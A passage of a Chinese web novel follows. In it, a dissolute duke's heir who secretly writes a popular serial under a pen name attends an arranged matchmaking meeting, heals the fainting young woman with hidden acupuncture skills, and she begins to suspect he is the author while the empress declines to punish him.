她几乎能想象到,当那位古板认真的周主事,看到自己在全国流传的话本中被描绘成‘周扒皮’。
女儿被写成‘奇丑贪吃’的‘周无颜’时,会是如何的暴跳如雷,定然会跑来向她这个皇帝哭诉申冤。
“云暮,”萧璇月吩咐道,
“去,把这话本里关于‘周主事’的这段,单独抄录一份,收好了。说不定…日后有用。”
“是,陛下。”
云暮心领神会,陛下这是要留着‘罪证’,以后好多逗弄江世子呢。
萧璇月心情颇佳地靠回龙椅,想象着江凡此刻赶回国公府,会是何等精彩的表情。
这场大戏,她虽不能亲临现场观看,但光是想想,就足以让她今日批阅奏折的心情都轻快几分。
……
镇国公府,花厅。
江凡一路快马加鞭赶回府中,一颗心七上八下。
他换下官服,穿着一身锦袍,坐在花厅下首,如坐针毡。
父亲江撼岳端坐主位,面色严肃中带着一丝期待;
姐姐江芷兰陪坐一旁,脸上带着温和的笑意,不时低声安抚他两句。
“凡儿,稍后周大人和周小姐来了,你定要谨言慎行,不可失礼!”
江撼岳再次叮嘱。
“知道了,爹。”
江凡有气无力地应着,心里却在疯狂祈祷:
但愿那周小姐真如传言般‘温婉可人’,千万别跟自己书里写的一样啊!
不然这戏就没法演了!
就在这时,门房来报:
“老爷,大小姐,少爷,吏部周文正周大人携女到访!”
江撼岳立刻起身,朗声道:
“快请!”
片刻后,只见一位穿着半旧青色官袍、面容清癯、身形瘦削的中年官员,领着一位身着淡紫色衣裙、低着头略显局促的少女,缓步走了进来。
第045章 这么不入眼
江凡下意识地抬眼望去。
只见那周小姐身形纤细,举止文静,虽然一直低着头看不清全貌。
但露出的侧脸皮肤白皙,绝非他书中臆想的‘奇丑无比’。
似乎…还行?
他暗自松了口气。
“下官周文正,携小女婉茹,见过国公爷,见过世子,见过大小姐!”
周文正声音洪亮,一丝不苟地行礼,显得有些刻板。
他身边的周婉茹也跟着父亲盈盈一拜,声音细若蚊蚋:
“婉茹见过国公爷,世子,大小姐。”
动作略显僵硬,显然十分紧张。
“周大人不必多礼,快请坐!婉茹姑娘也请坐!”
江撼岳热情地招呼,江芷兰也笑着示意丫鬟上茶。
双方分宾主落座。
江撼岳与周文正寒暄起来,多是谈论些朝中琐事和学问文章。
周文正此人果然如传闻般有些古板,言辞拘谨,一板一眼,但言语间透着一股正气,并非钻营之徒。
江凡偷偷打量着坐在对面的周婉茹。
她始终微垂着头,双手紧张地绞着衣角,偶尔抬头飞快地瞥一眼周围,又立刻低下。
虽然看不太清正脸,但能看出眉眼清秀,鼻梁挺翘,是个美人胚子,绝对跟‘奇丑’二字不沾边。
而且她身形苗条,举止文静,也丝毫没有‘贪吃蠢货’的模样。
江凡心里顿时有些不是滋味了。
好像…好像自己昨晚写得有点过分了?
这姑娘看起来挺老实胆小的,被自己那么一编排,真是无妄之灾。
他难得地产生了一丝愧疚感。
就在这时,丫鬟端上了几碟精致的点心和时令水果。
周婉茹看到点心,眼睛似乎微微亮了一下。
但立刻又克制地低下头,只是下意识地轻轻抿了抿嘴唇。
这个小动作被一直暗中观察的江凡捕捉到了!
他心中猛地一跳!
不是吧?难道真有点贪吃?
他立刻竖起耳朵,集中精神。
只见周文正与江撼岳相谈正酣,似乎没注意这边。
周婉茹悄悄抬起眼,飞快地瞄了一眼那碟看起来酥脆可口的荷花酥,喉头似乎轻轻滚动了一下。
但最终还是强忍着没有动作,只是放在膝盖上的手,手指无意识地蜷缩了一下。
江凡:“……”
好吧,可能…可能只是小姑娘家脸皮薄,不好意思在陌生人家吃东西?
或者…真的有点馋?
但这也绝对算不上‘奇丑贪吃’啊!
自己昨晚真是被气昏头了,恶意太大了!
这场相亲,就在一种微妙而尴尬的气氛中进行着。
江撼岳努力找话题,周文正谨慎应答,江芷兰温言暖场,江凡魂不守舍,周婉茹羞怯不语。
江撼岳看着儿子那副怂样,气就不打一处来,又不好当着周文正的面发作,只得强压火气,对周文正挤出一个笑容:
“周大人,年轻人脸皮薄,初次见面难免拘谨。不如让犬子陪婉茹丫头去后花园走走,赏赏花,年轻人之间,也好说些体己话。”
他这话已是极力在给两人创造独处机会了。
周文正自然明白镇国公的意思,他虽然古板,但也希望女儿能觅得良缘,便点头应允:
“国公爷安排甚是周到。婉茹,你便随世子去园中走走吧。”
江凡心里哀嚎一声,知道躲不过去了,只得硬着头皮站起身:
“周…周小姐,请随我来。”
周婉如声如蚊蚋地应了一声‘是’,也站起身,依旧低垂着头,迈着小碎步,跟在江凡身后半步的距离,走出了花厅。
初夏的后花园,草木葱茏,繁花似锦,蜂飞蝶舞,倒是比沉闷的花厅自在许多。
然而,并肩走在蜿蜒的碎石小径上,两人之间的空气似乎比刚才更加凝滞。
江凡浑身不自在,感觉手脚都不知道该往哪放。
周婉如则始终保持着恰到好处的距离,微微侧着身子。
沉默,令人窒息的沉默。
江凡觉得再这么走下去,自己非得憋出内伤不可。
他深吸一口气,决定快刀斩乱麻,把话说清楚。
他停下脚步,转过身,面对着周婉如。
周婉如没料到他会突然停下,差点撞上,惊呼一声,下意识地后退半步,终于抬起了头。
四目相对。江凡这才第一次看清这位‘未婚
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妻’的正脸。
只见她约莫十七八岁年纪,肌肤白皙,瓜子脸,柳叶眉。
一双杏眼因为受惊而微微睁大,水汪汪的,带着几分怯意,更显得我见犹怜。
鼻梁秀挺,唇瓣小巧,虽然算不上倾国倾城,但绝对是清秀可人,带着一股书卷气的文静。
这模样,跟他昨晚在话本里恶意编排的‘奇丑无比’简直差了十万八千里!
江凡心里那点因为恶作剧而产生的愧疚感,不由得又加深了几分。
“周小姐,”江凡清了清嗓子,努力让自己的语气听起来诚恳,
“咱们明人不说暗话。我江凡是什么人,想必你也听说过。京城有名的纨绔子弟,文不成武不就,**…呃,除了赌,其他差不多都沾点边。”
他故意自黑,
“说实话,我压根就没想过这么早成家,这次相亲,纯粹是我爹逼的。我看周小姐你…也是个明白人。
估计也是被家里逼着来的吧?咱们就当走个过场,回去后各自跟家里说没看上眼,如何?”
他这番话,堪称石破天惊!
哪家公子哥相亲会这么‘坦诚’?
周婉如听得愣住了,杏眼圆睁,小嘴微张,显然**凡这毫不掩饰的‘摆烂’言论给惊到了。
她想象中的纨绔子弟,不都是趾高气扬、夸夸其谈的吗?
怎么这人…这么…不一样?
短暂的错愕之后,周婉如心中先是松了口气——
看来对方也无意这门亲事,自己不用勉强嫁个不喜欢的人了。
但随即,一股莫名的挫败感悄然升起。
她虽然对这门包办婚姻也心存抗拒,但被对方如此直白、甚至带着点‘嫌弃’地抢先拒绝,作为女儿家的矜持和自尊,让她心里很不是滋味。
自己…就这么不入他的眼吗?
她压下心头那点异样,微微福了一礼,声音依旧轻柔,却带上了几分倔强:
“世子爷快人快语,婉茹佩服。只是…父母之命,媒妁之言,岂是儿戏?今日家父带婉茹过府,名为相亲,实则…
两家长辈心中已有默契。婉茹一介女流,婚姻大事,全凭父母做主,岂有拒绝的权利?”
第046章 豁达与清醒
周婉如这话,半是陈述事实,半是带着点小怨气的反击——
你说得轻巧,这事是你想推就能推掉的吗?
江凡一听,头更大了!
果然是包办婚姻的终极形态——走过场的定亲!
他烦躁地抓了抓头发:
“哎呀!这都什么年代了…不是,我的意思是,这婚姻大事,总得你情我愿吧?强扭的瓜不甜啊!”
他看着周婉如那文静秀气的侧脸,想到她可能因为家族利益就要嫁给一个‘声名狼藉’的纨绔,心里莫名生出一丝不忍,语气软了下来:
“周小姐,你模样好,性子也好,何必…何必在我这棵歪脖子树上吊死?你放心,我回去一定想办法,好好跟我爹说,把这门亲事搅黄了!你值得更好的!”
他本意是安慰,是想‘放她自由’。
可这话听在周婉如耳中,却更像是赤裸裸的‘看不上’!
她原本那点因为对方‘坦诚’而生出的些许好感,顿时被这点小委屈和小气愤冲淡了不少。
她抬起眼,目光直视江凡,带着一丝赌气般的认真问道:
“更好的?那在世子爷眼中,什么样的人,才算‘更好’?才值得婉茹托付终身呢?”
“啊?这个…”
江凡被问得一噎,他哪想过这个?
随口敷衍道:
“当然是你自己喜欢的啊!比如…比如你喜欢什么样的?”
周婉如没想到他会反问,微微一怔,随即真的偏着头,认真地思考起来。
片刻后,她轻声说道:
“女儿家…谁不慕英雄?以前读些杂书,也曾幻想过,未来的夫君,当是文能提笔安天下,武能上马定乾坤的盖世英豪。”
说到这,她自嘲地笑了笑,语气带着淡淡的失落,
“不过婉茹也知,那只是痴心妄想。我父亲官职不高,家世寻常,身为女子,更是身不由己。
婚姻大事,能得父母之命,觅一安稳归宿,已是幸事,岂敢再有奢求?若真要说喜欢什么样的…”
她顿了顿,眼中忽然闪过一丝奇异的光彩:
“或许…像那位神秘的‘逍遥公子’那般,便很好。”
“噗——咳咳咳!”
江凡正端起旁边石桌上丫鬟早已备好的茶水喝了一口,闻言直接喷了出来,呛得连连咳嗽!
“世子爷,您没事吧?”
周婉如吓了一跳,关切地问道。
她也不知自己为何会突然提起‘逍遥公子’,或许是想告诉这位‘纨绔’世子自己的要求?
江凡好不容易顺过气,摆着手,哭笑不得:
“没…没事!呛着了!周小姐,你…你这要求…咳咳…是不是有点…特别?”
姑娘,你知不知道你眼前这个‘纨绔’就是你喜欢的‘逍遥公子’啊?
这算不算另类表白?
太惊悚了!
周婉如见他反应如此巨大,心中疑惑,歪着头问道:
“特别吗?逍遥公子才华横溢,诗词歌赋、经世策论无一不精,每每发声,皆能切中时弊,利国利民。
这般惊才绝艳之士,难道不值得仰慕吗?世子爷为何如此惊讶?”
江凡心里叫苦不迭,赶紧找补:
“不是不是!我的意思是…逍遥公子那是笔名!谁知道他现实中是圆是扁?说不定是个七老八十、胡子拉碴的糟老头子!
也可能是个有特殊癖好的怪阿姨!你就凭几本书…就…就喜欢这样的?太草率了吧!”
他拼命诋毁着自己的‘马甲’,试图打消周婉如的念头。
周婉如被他这番话逗得‘噗嗤’一声笑了出来,宛如春花绽放,倒是让江凡看得愣了一下。
她掩唇笑道:
“世子爷说得有理,是婉茹想当然了。仰慕其才,与倾心于人,自是两回事。婉茹只是欣赏逍遥公子的才华罢了。”
“对对对!欣赏!欣赏就好!”
江凡如释重负,连忙顺着杆子往下爬,
“所以你看,你喜欢的是逍遥公子那种有真才实学的!而我呢?”
他指了指自己,“我就是个不学无术的纨绔,全靠着祖上荫庇,才在女帝身边混了个跑腿的差事,指不定哪天说错话做错事,就被陛下一脚踹回来了!
跟我定亲,风险太大
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!太不值了!周小姐你放心,我江凡虽然混账,但绝不坑好人家的姑娘!这门亲事,我说什么也得给它搅黄了!”
他这番‘自黑’堪称掏心掏肺,情真意切,恨不得立刻跟周婉如划清界限,还她自由。
然而,他越是表现得急不可耐地想摆脱这门亲事,周婉如心中那点微妙的不服气和探究欲,反而被勾了起来。
她看着眼前这个口口声声说自己是‘纨绔’、‘废物’的世子爷,仔细打量着他。
江凡最近提升了不少修为,本就长得不错的五官,身子也匀称了很多,看着倒是有些人模狗样。
最重要的是,这种坦诚和自黑,反倒让周婉如对他产生了好感。
她轻轻抿了抿唇,声音依旧柔柔的,却多了一丝坦然:
“世子爷何必如此妄自菲薄?婉茹虽久居深闺,却也听闻,世子爷近日在陛下身边担任起居郎,行事颇为勤勉,并未如外界传言那般…
嗯,那般肆意妄为。可见传言多有失实之处。今日一见,世子爷快人快语,坦诚率真,倒让婉茹觉得…与想象中颇为不同呢。”
江凡:“……”
这姑娘怎么回事?
我都把自己黑成炭了,她怎么还自带漂白功能开始给我洗白了?
还坦诚率真?
我那是为了摆脱你啊大姐!
他赶紧摆手,试图把‘纨绔’人设焊死在身上:
“周小姐你千万别误会!我那都是装的!在陛下面前不得不装装样子!其实我心里啊,就想着怎么偷懒耍滑,怎么早点下班…
呃,是散值,回去斗蛐蛐听小曲儿!我这人真没什么大志向,就适合当个混吃等死的废物点心!真的!”
他越是急于证明自己的不堪,周婉如眼中的兴趣反而越浓。
她甚至掩唇轻笑了一声,那笑声清脆悦耳:
“世子爷这般想法,倒也…别具一格。世人皆追名逐利,世子爷却能安于现状,不求闻达,在婉茹看来,这何尝不是一种…
难得的豁达与清醒呢?至少,比起那些心口不一、汲汲营营之辈,要真实可爱得多。”
第047章 这剧本不对
江凡彻底无语了,内心疯狂吐槽:完了完了!
这滤镜厚度快赶上城墙拐角了!
这就是传说中的情人眼里出西施……啊呸!
是‘未婚妻眼里自动美化纨绔’吗?
姑娘你的审美是不是有点问题啊喂?
他正绞尽脑汁,想着该怎么用更‘恶劣’的言行打破周婉如这诡异的‘好感’时,异变突生!
只见原本还带着浅笑的周婉如,忽然脸色一白,秀气的眉头紧紧蹙起。
一只手下意识地捂住了心口,呼吸也变得急促起来,额头上瞬间沁出细密的冷汗,身形晃了晃,眼看就要软倒下去!
“周小姐!”江凡吓了一跳,也顾不得什么‘男女有别’的迂腐礼节了,一个箭步上前,伸手扶住了她摇摇欲坠的身子。
入手处,只觉得女孩的身体轻盈而冰凉,带着不正常的颤抖。
“没…没事…”周婉如强撑着想要站直,声音虚弱得几乎听不见,
“**病了…歇…歇一下就好…”
她话未说完,眼前一黑,彻底失去了意识,软软地倒在了江凡怀里。
“喂!周小姐!周婉如!”
江凡这下真慌了神!
这要是在他家后花园出了事,那可就真是黄泥巴掉裤裆——不是屎也是屎了!
他跟周家的梁子就结大了!
他爹非扒了他的皮不可!
情急之下,他也顾不上隐藏了。
一手稳稳托住周婉如,另一只手的手指已经闪电般搭上了她的腕脉。
医术(大宗师级)瞬间发动!
一股精纯的感知力顺着指尖涌入周婉如的经脉。
不过瞬息之间,江凡心中已然明了。
原来是娘胎里带出的先天心脉孱弱之症!
此症平时不显,但若情绪激动、劳累过度或受到惊吓,便会引发心血供应不足,导致晕厥。
长此以往,会损耗元气,折损寿数。
在这个医学落后的时代,这几乎算是不治之症,只能靠名贵药材温养续命,但治标不治本。
“麻烦!”
江凡低骂一声,但眼神却变得锐利起来。
对别人来说是不治之症,对他这位拥有大宗师级医术、甚至能兑换超越时代药物的‘挂逼’来说,却并非难事!
至少,先稳住情况,缓解症状轻而易举。
他目光飞快扫视四周,确认附近没有丫鬟仆役。
心念一动,一套银针已悄然出现在他手中。
他深吸一口气,眼神专注,出手如电!
只见他手指翻飞,或捻或提,或轻或重,一根根银针精准无比地刺入周婉如心口、手腕、头顶的几处要穴!
动作行云流水,带着一种玄奥的韵律,哪里还有半分纨绔子弟的轻浮?
若是此刻有太医在场,必定会惊为天人!
这手法,这认穴之准,运针之妙,已臻化境!
随着银针的刺入,江凡指尖透出一丝精纯的先天真气,顺着银针渡入周婉如体内,温和地梳理着她孱弱的心脉,激发其自身的生机。
不过短短十数息的时间,周婉如原本苍白的脸色以肉眼可见的速度恢复了一丝红润,微弱的呼吸也变得平稳有力起来。
江凡见好就收,迅速起针,将银针收回系统空间,仿佛一切从未发生。
他刚做完这一切,怀中的周婉如便嘤咛一声,长长的睫毛颤动了几下,缓缓睁开了眼睛。
她首先感受到的,是一个温暖而坚实的怀抱,以及一股清冽好闻的、属于男子的气息。
她抬头,便对上了江凡那双近在咫尺的桃花眼。
“周小姐!你醒了?感觉怎么样?吓死我了!我…我这就去叫大夫!”
江凡见她醒来,立刻戏精附体,做出一副手足无措、后怕不已的纨绔模样。
连忙松开扶着她肩膀的手,跳开半步,仿佛沾上了什么麻烦似的。
周婉如怔怔地看着他,脑海中却清晰地回放着刚才失去意识前的感觉——
被他及时扶住的安稳,以及…那一阵阵透过银针传入体内、暖洋洋的、让她无比舒适的奇异热流!
她虽然闭着眼,但意识并未完全丧失,她能感觉到有人在为她施针!
而当时身边,只有江凡!
是他!
绝对是他!
再联想他此刻这副夸张的、欲盖弥彰
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的样子,周婉如心中瞬间掀起了惊涛骇浪!
他不仅会医术,而且医术极高!
高到能缓解她这连御医都束手无策的顽疾!
可他为什么要装?
为什么要伪装成一个不学无术的纨绔?
无数疑问瞬间充斥了她的脑海。
但看着江凡那拼命掩饰的样子,周婉如是个聪慧的女子,立刻意识到他必然有不得已的苦衷。
她压下心中的震惊和翻腾的思绪,脸上努力挤出一个带着歉意的笑容,顺着江凡的话说道:
“多…多谢世子爷。婉茹无碍,许是…许是早上起来有些匆忙,未曾用早膳,有些气血不足,一时晕眩,惊扰世子爷了。真的不用叫大夫,歇息片刻便好。”
江凡连忙就坡下驴,对着远处候着的丫鬟喊道:
“快!去厨房取些清淡易消化的点心和参汤来!要快!周小姐身子不适,需要补一补!”
他特意强调了参汤,这既符合“气血不足”的由头,也正好能巩固他刚才的治疗效果,帮周婉如调理身体。
丫鬟领命匆匆而去。
周婉如听着他吩咐‘参汤’,心中更是雪亮。
这药汤,分明就是针对她体虚之症的!
他连后续的调理都想到了!
看着江凡那副‘我只是个热心纨绔’的表演,周婉如心中五味杂陈。
这个镇国公世子,这个声名狼藉的‘纨绔’,绝不像表面看起来那么简单!
他不仅不简单,可能…还是一个身怀惊世之才,却不得不隐忍藏拙的…奇人?
这个认知,让周婉如的心跳,不由自主地加快了几分。
她再看向江凡时,目光中已没有了最初的疏离和无奈,反而充满了好奇与好感。
而江凡还在继续装‘纨绔’,他装成猥琐的样子闻了一下手说道:
“宛如姑娘,你用的什么胭脂,还挺香的。”
本以为这下周婉如肯定对自己心生反感,没想到她却笑靥如花:
“是吗?世子要是喜欢,以后成亲了你每天都能闻到...”
江凡闻言顿时一脸黑线:这剧本不对,你怎么不按套路出牌啊喂!
第048章 就是天气热
江凡有些尴尬,连忙摆手,
“周姑娘说笑了,我们以后能不能成还不知道,现在说这些还早。”
“是吗?”
周婉如还想说什么,这时参汤送来,缓解了两人的尴尬。
“周姑娘,先喝点参汤。”
“谢谢世子!”
周婉如小口啜饮着温热的参汤,眼角的余光却始终没有离开过对面那个坐立不安的青年。
江凡被她的目光看得浑身发毛,只能低头假装研究石桌上的木纹,心里把老爹吐槽了几百遍。
没事安排什么相亲啊!
“这参汤…火候恰到好处,多谢世子爷费心。”
周婉如放下汤碗,用帕子轻轻拭了拭嘴角,声音轻柔,却带着感激。
她感觉体内那股暖流仍在缓缓流淌,纠缠她多年的胸闷气短之感竟减轻了大半,这绝非普通参汤能达到的效果。
准确的说,还是之前的治疗起到了作用。
“啊?哦…没什么,府里厨子手艺还行。”
江凡含糊地应着,赶紧转移话题,
“周小姐感觉好些了吧?这天气是有点闷,回头我让下人送些冰镇的酸梅汤来解暑。”
“劳世子爷挂心,婉茹已无大碍。”
周婉如微微一笑,那笑容清浅,却让江凡心里更没底了。
她顿了顿,仿佛不经意般轻声道:
“说来也怪,往日若是这般晕眩,总要缓上许久,心口也闷得难受。今日却觉得松快了许多,连呼吸都顺畅了。
许是…国公府人杰地灵,连这汤药都格外有效些?”
她目光清澈地看着江凡,话里有话。
江凡头皮一麻,干笑两声:
“哈哈,周小姐说笑了,可能就是…可能就是歇过来了!对,歇过来了!”
他恨不得立刻结束这场充满危险的对话。
就在这时,一阵急促的脚步声由远及近,打破了凉亭的宁静。
只见江撼岳身边的老管家气喘吁吁地跑来,面色凝重,对着凉亭方向躬身道:
“世子爷,周小姐,老爷请二位即刻去前厅一趟。”
江凡心里咯噔一下,有种不祥的预感。
周婉如也收敛了笑容,眼中闪过一丝疑惑。
两人随着管家快步回到花厅。
刚一进门,就感觉到一股压抑的怒火在空气中弥漫。
只见江撼岳面色铁青,负手站在厅中,来回踱步。
而周文正则坐在一旁,手里紧紧攥着几页纸张,脸色更是阴沉得能滴出水来,胸口剧烈起伏,显然气得不轻。
“爹,周世叔,出什么事了?”
江凡硬着头皮上前问道,心里已经猜到了七八分。
江撼岳猛地停下脚步,重重一拍桌子,震得茶盏哐当作响:
“岂有此理!简直是无法无天!”
他指着周文正手中的纸张,怒声道:
“那个天杀的逍遥公子,竟敢在那劳什子话本里,肆意污蔑编排周世叔和婉茹侄女!
将周世叔写成阿谀奉承的‘周扒皮’,将婉茹侄女写成…写成那般不堪!此等恶毒诽谤,辱及朝廷命官家眷,其心可诛!
亏我之前还感激他提供了税银案的思路,没想到这家伙是无差别对朝廷的人进行攻击,我一定要将他抓到诛九族!”
周文正也猛地站起身,将手中那几页抄录的《深宫秘恋》章节狠狠摔在桌上,声音因愤怒而颤抖:
“国公爷!此事绝不能善罢甘休!下官为官数十载,自问清廉勤勉,家教虽严,却也从未亏待小女!
如今竟被这藏头露尾的鼠辈如此羞辱!小女清清白白,待字闺中,何曾受过这等奇耻大辱!
这‘逍遥公子’,分明是与我周家有不共戴天之仇!下官这就进宫,面见陛下,恳请陛下下旨,彻查此獠,将其揪出,明正典刑,以儆效尤!”
他说得激动,眼圈都红了。
江凡在一旁听得冷汗涔涔,后背瞬间湿透!
他偷偷瞄了一眼那几页纸,果然是他昨晚‘激情创作’的杰作!
完了完了!
老爹和周世叔这反应也太大了吧?
还要进宫告御状?
诛九族?
老爹您冷静点!
那‘逍遥公子’的九族包括您啊!
他张了张嘴,想劝两句,但话到嘴边又咽了回去。
此刻他若开口劝阻,岂不是显得心虚?
更惹人怀疑?
他只能低着头,拼命降低存在感,心里祈祷女帝能像前几次一样把这事压下去。
江撼岳显然气得不轻,他大手一挥,斩钉截铁地道:
“周兄放心!此事关乎我镇国公府未来亲家的清誉,更是打了我江撼岳的脸!我与你同去!
定要请陛下主持公道,将这无法无天的狂徒绳之以法!诛其九族,
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方解我心头之恨!”
周文正闻言,感激涕零,连连拱手:
“多谢国公爷仗义执言!有国公爷一同面圣,陛下定然重视!”
江凡在一旁听得差点晕过去!
未来亲家?
老爹您这就单方面定下来了?
还要一起去告御状诛我九族?
“凡儿!”江撼岳转向江凡,语气不容置疑,
“我与你周世叔要即刻进宫面圣!你留在府中,好生招待婉茹侄女!若敢有丝毫怠慢,我回来扒了你的皮!”
他又对周文正道:
“周兄,令嫒暂且留在府中,也安全些。”
周文正自然无有不从。
两位怒火中烧的父亲,片刻不愿耽搁,当即命人备轿,气势汹汹地直奔皇宫而去。
花厅内,只剩下江凡和周婉如,以及几个垂手侍立的丫鬟。
气氛一时间尴尬到了极点。
江凡感觉自己像被架在火上烤,站也不是,坐也不是。
他偷偷抬眼去看周婉如,却见她正低头看着桌上那几页‘罪证’,侧脸线条柔和,看不清表情。
但江凡敏锐地察觉到,她的肩膀似乎在微微颤抖?
是在难过?
还是在…生气?
“周…周小姐,”江凡试图安慰,又不知从何说起,
“你…你别往心里去,那都是胡说八道!我…我爹和周世叔一定会把事情查清楚的!”
他这话说得心虚无比。
周婉如缓缓抬起头,看向江凡。
出乎意料的是,她脸上并没有太多愤怒或悲伤,反而带着一种探究的神情。
她的目光清澈,仿佛要直透江凡心底。
“世子爷似乎…有些紧张?”周婉如轻声开口,声音平静,
“你也没有看过,像是知道里面写了什么?”
江凡心里一突,强作镇定,扯出一个比哭还难看的笑容:
“紧…紧张?没有啊!我就是…就是天气热,出汗!对,出汗!至于这上面写了什么,看我爹和周大人的反应就知道,肯定不是什么好话...”
他下意识地抬手擦了擦额角并不存在的汗水。
周婉如没有戳穿他这拙劣的借口,她的视线再次落回那几页纸上,纤细的手指轻轻拂过‘逍遥公子’四个字,若有所思。
忽然,她像是想起了什么,猛地抬起头,目光灼灼地盯住江凡!
第049章 暂且作罢吧
一个极其大胆、甚至堪称荒谬的念头划过周婉如的脑海!
医术高超!
能缓解她御医都束手无策的顽疾!
深宫秘恋中,精准预测税银案手法、提出牛痘法治天花、献策充盈国库!
而眼前这位世子爷,看似纨绔,却在关键时刻展现出惊人的医术!
并且,他对‘逍遥公子’这个话题,反应总是异常激烈!
如今,这话本又‘恰好’在她们相亲之日,编排了她和周家!
江凡一直表现对这门亲事的反对和抗拒...
所有的线索,在这一刻串联起来,指向一个让她心跳骤停的答案!
难道…那个才华横溢、神秘莫测、让她心生仰慕的逍遥公子…就是眼前这个被全京城视为废物点心的镇国公世子——江凡?
这个念头太过惊世骇俗,太过颠覆认知!
周婉如感觉自己几乎要窒息!
她死死地盯着江凡,想从他脸上找出哪怕一丝一毫的破绽。
江凡被她这突如其来的目光看得毛骨悚然,下意识地后退了半步,结结巴巴地问:
“周…周小姐,你…你怎么这么看着我?”
周婉如深吸一口气,强行压下心中的惊涛骇浪。
她知道,现在还不是摊牌的时候。
她缓缓垂下眼睫,掩去眸中翻腾的情绪,再抬起时,已恢复了之前的温婉平静,只是那平静之下,似乎多了些什么。
“没什么,”她轻轻摇头,唇角勾起一抹弧度,
“只是忽然觉得…世子爷,与传闻中…真的很不一样。”
她顿了顿,看着厅外两位父亲离去的方向,语气轻柔却带着一丝坚定:
“至于这门亲事…婉茹觉得,父母之命,媒妁之言,自有其道理。或许…并非如世子爷所想的那般…不堪。”
说完,她不再看江凡瞬间僵化的表情,转身对一旁的丫鬟轻声道:
“有些乏了,劳烦姐姐带我去客房歇息片刻。”
只留下江凡一个人站在原地,目瞪口呆,风中凌乱。
她这话是什么意思?
不反对亲事?
我已经很努力的装成纨绔了,你喜欢我什么,我可以改啊!
镇国公府,客院厢房。
周婉脑海中反复回放着花园凉亭里发生的一切——江凡那看似纨绔却对她保持礼貌和尊重,以及那驱散她多年沉疴的奇异暖流…
逍遥公子…江凡…
这两个截然不同的形象,在她心中激烈碰撞、交织。
一个念头越来越清晰,也越来越让她感到兴奋与战栗。
她深吸一口气,压下翻腾的心绪,唤来了门外侍候的、一个看起来颇为机灵的小丫鬟。
“这位姐姐,有劳了。”
周婉如声音柔和,从腕上褪下一支成色不错的玉镯,塞到丫鬟手中,
“初来府上,许多规矩不甚明了,想向姐姐打听些事情,不知可否方便?”
那小丫鬟见到玉镯,眼睛一亮,又见这位未来的‘世子夫人’如此客气,顿时受宠若惊,连忙福身道:
“小姐折煞奴婢了!您有什么想问的,尽管问,奴婢定知无不言!”
周婉如微微一笑,状似随意地问道:
“也没什么要紧事,就是…听闻世子爷往日里…性子颇为活泼,近来在宫中当差,想必十分辛劳吧?回府后…可还习惯?”
丫鬟不疑有他,只当是未来主母关心世子,便打开了话匣子:
“回小姐,世子爷以前是爱玩闹些,不过自从上回在百花楼…呃,是自从前阵子病了一场之后,就像换了个人似的!
每日从宫里回来,都早早地就把自己关在房里,也不让人打扰,安静得很!大小姐还常说,世子爷这是懂事了,知道上进了呢!”
她差点说漏嘴提到‘百花楼宿醉’的事,赶紧含糊带过。
周婉如心中一动,捕捉到了关键信息:
“病了?是什么时候的事?严重吗?”
“大概…就是半个月前吧?”
丫鬟努力回忆着,“听说是喝多了酒,在…在外面着了风寒,回府后昏睡了好几日,可把国公爷和大小姐急坏了!
不过后来就好了,就是打那以后,性子沉静了不少,也不怎么出去…应酬了。”
丫鬟说得委婉。
半月前?
周婉如飞快地在心中计算着。
那不正是在《深宫秘恋》这话本突然出现,并且以惊人速度风靡京城的时
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间点吗?
时间如此吻合!
她强压住心中的激动,又故作好奇地问:
“世子爷把自己关在房里,都做些什么呀?读书写字吗?”
丫鬟摇摇头:“这个奴婢就不清楚了。世子爷不让人进书房,连贴身小厮都不让久待。
不过…倒是经常夜深了,书房的灯还亮着,许是在用功吧?”
她的语气带着些不确定,毕竟‘用功’这个词跟以前的世子爷实在不搭。
夜深人静…独自闭门不出…
所有的线索,再次串了起来!
周婉如几乎可以断定,那个神秘的逍遥公子,八成就是江凡!
他借‘重病’改变性情为借口,实则是在暗中创作话本!
而他今日展现出的高超医术,更是佐证了他绝非池中之物!
这个发现,让周婉如的心跳再次失控。
她感觉自己窥破了一个天大的秘密!
一个关于当朝国公世子、陛下近臣,实则身怀惊世之才却不得不伪装纨绔的惊天秘密!
……
与此同时,紫宸殿御书房。
江撼岳与周文正跪在御前,义愤填膺地将那几页抄录的《深宫秘恋》章节呈上,痛陈‘逍遥公子’如何污蔑朝廷命官、诽谤官眷,言辞激烈。
恳请女帝下旨,严查此獠,诛其九族,以正视听!
萧璇月端**,凤眸扫过那熟悉的文字,嘴角抽搐了一下,费了好大劲才忍住没笑出声来。
她抬起眼,看着下面气得胡子直抖的江撼岳,心中又是好气又是好笑。
江爱卿啊江爱卿,你可知你要诛的‘九族’里,头一个就是你和你这宝贝儿子?
她强装严肃,沉吟片刻,方缓缓开口道:
“二位爱卿的心情,朕能理解。此话本内容,确有不当之处。”
江撼岳闻言,精神一振,以为陛下要为他们做主了。
谁知萧璇月话锋一转:
“然,此话本终究是市井小说,虚构之言,并未指名道姓。若因几句戏言便大动干戈,兴文字之狱,恐非明君所为,亦会寒了天下士子之心。
前番税银案、天花防治,此话本亦有其建言之功。功过相抵,此事…暂且作罢吧。”
第050章 太匪夷所思
“陛下!”江撼岳急了,
“此獠诽谤朝廷命官,岂能因些许微功便轻纵?!此风断不可长啊!”
周文正也磕头道:
“陛下!臣女清誉受损,臣…臣咽不下这口气啊!”
萧璇月看着江撼岳那副‘忠臣良将’被辱、誓要讨回公道的激动模样,心中暗笑更甚,面上却不动声色:
“朕意已决。二位爱卿且放宽心,清者自清,浊者自浊。些许流言,无损周爱卿清誉,亦无损镇国公府颜面。退下吧。”
见女帝态度坚决,江撼岳和周文正虽心有不甘,却也不敢再强谏,只得悻悻然叩首告退。
走出紫宸殿,江撼岳犹自愤愤不平:
“陛下今日为何…周兄放心,此事绝不能就这么算了!老夫定会暗中查访,揪出此獠!”
周文正感激道:“有劳国公爷费心!”
御书房内,萧璇月终于忍不住,低低地笑出声来,对身旁的云暮道:
“你瞧见没?江爱卿那副样子…若是他知道,他口中那个该‘诛九族’的逍遥公子,就是他那个‘不成器’的儿子,不知会作何感想?”
她想象着江撼岳得知真相后可能出现的表情,心情愈发愉悦。
云暮也抿嘴笑道:
“想必…十分精彩。”
“朕也很期待那一天。”
萧璇月眼中闪过狡黠的光芒。
……
镇国公府内,江撼岳憋着一肚子火气回府,得知江凡竟然回房睡觉去了,而周婉如则在客房休息,顿时火冒三丈!
他认为肯定是儿子木讷无趣,惹得周家小姐不快,才借口休息躲开他。
这简直是把他这老脸按在地上摩擦!
